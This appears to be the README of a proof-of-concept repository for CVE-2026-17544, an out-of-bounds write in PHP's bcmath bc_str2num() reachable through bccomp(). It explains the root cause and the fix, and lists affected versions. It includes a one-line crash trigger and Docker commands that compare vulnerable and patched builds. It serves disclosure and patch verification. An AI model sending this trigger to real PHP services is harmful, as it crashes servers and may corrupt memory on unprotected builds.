boreas37/cve-2026-17544-pocCVE-2026-17544 — PHP bcmath bccomp() OOB write (stack smashing). Verified: crash on 8.4.23/8.5.8, fixed in 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() Out-of-Bounds Write (Stack Smashing)CVSS 9.8 (Critical) · CWE-787 · GHSA-x692-q9x7-8c3f
bc_str2num() in ext/bcmath/libbcmath/src/str2num.c (vendored libbcmath, PHP 8.4+) contains an
off-by-N out-of-bounds write. When the user-supplied scale is smaller than the operand's auto
scale, the fraction is truncated and then a trailing-zero trim runs without updating
fractional_end. The buffer is allocated for the trimmed (shorter) length but the copy uses the
untrimmed length → heap/stack buffer overflow.
Affected: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
Fixed: PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755
Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
The one-line fix (fractional_end = fractional_new_end;) plus regression test
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt were merged in 8.4.24/8.5.9.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
| Build | Result |
|---|---|
PHP 8.4.23 (vulnerable, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (vulnerable) | 💥 same — deterministic abort |
PHP 8.4.24 (patched, php:8.4.24-cli) | ✅ int(1), exit 0 |
Verified 2026-08-12 on Raspberry Pi 5 (arm64) via Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() can be
crashed deterministically (8.4/8.5, stack-protector builds abort; non-protected builds corrupt
saved registers/return address).fa18dab73f93 · Fix 8.5: ce2ec8a70755